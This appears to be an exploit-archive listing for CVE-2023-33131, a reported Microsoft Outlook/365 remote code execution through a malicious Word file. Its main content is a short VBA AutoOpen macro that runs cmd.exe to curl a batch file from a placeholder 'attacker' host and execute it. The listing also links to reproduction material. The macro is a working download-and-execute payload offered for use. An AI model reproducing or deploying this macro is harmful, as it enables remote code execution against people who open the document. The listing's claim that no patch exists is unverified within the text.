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Microsoft 365 MSO 2306 Build 16.0.16529.20100 Remote Code Execution

Microsoft 365 MSO 2306 Build 16.0.16529.20100 Remote Code Execution
Posted Jul 11, 2023
Authored by nu11secur1ty

Microsoft Outlook suffers from a remote code execution via a maliciously crafted word file.

tags | exploit, remote, code execution
advisories | CVE-2023-33131
SHA-256 | 725407165978045839618f3033277cb34934c9f71370192c909d813afb99cc0b

Microsoft 365 MSO 2306 Build 16.0.16529.20100 Remote Code Execution

Change Mirror Download
## Title: Microsoft Outlook ®Microsoft 365 MSO (Version 2306 Build
16.0.16529.20100) 32-bit RCE
## Author: nu11secur1ty
## Date: 07.07.2023
## Vendor: https://www.microsoft.com/
## Software: https://outlook.live.com/owa/
## Reference: https://www.crowdstrike.com/cybersecurity-101/remote-code-execution-rce/
## CVE-2023-33131


## Description:
In this vulnerability, the Microsoft Outlook app allows an attacker to
send an infected Word file with malicious content
to everyone who using the Outlook app, no matter web or local.
Microsoft still doesn't have a patch against this 0-day vulnerability today.

## Staus: HIGH Vulnerability

[+]Exploit:

- The malicious Word file:

```js
Sub AutoOpen()
Call Shell("cmd.exe /S /c" & "curl -s
https://attacker/namaikativputkata/sichko/nikoganqqsaopraite.bat >
nikoganqqsaopraite.bat && .\nikoganqqsaopraite.bat", vbNormalFocus)
End Sub

```

## Reproduce:
[href](https://github.com/nu11secur1ty/Windows11Exploits/tree/main/2023/CVE-2023-33131)

## Proof and Exploit
[href](https://www.nu11secur1ty.com/2023/07/cve-2023-33131-microsoft-outlook.html)

## Time spend:
00:30:00


--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.htmlhttps://cxsecurity.com/ and
https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty <http://nu11secur1ty.com/>


--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty <http://nu11secur1ty.com/>
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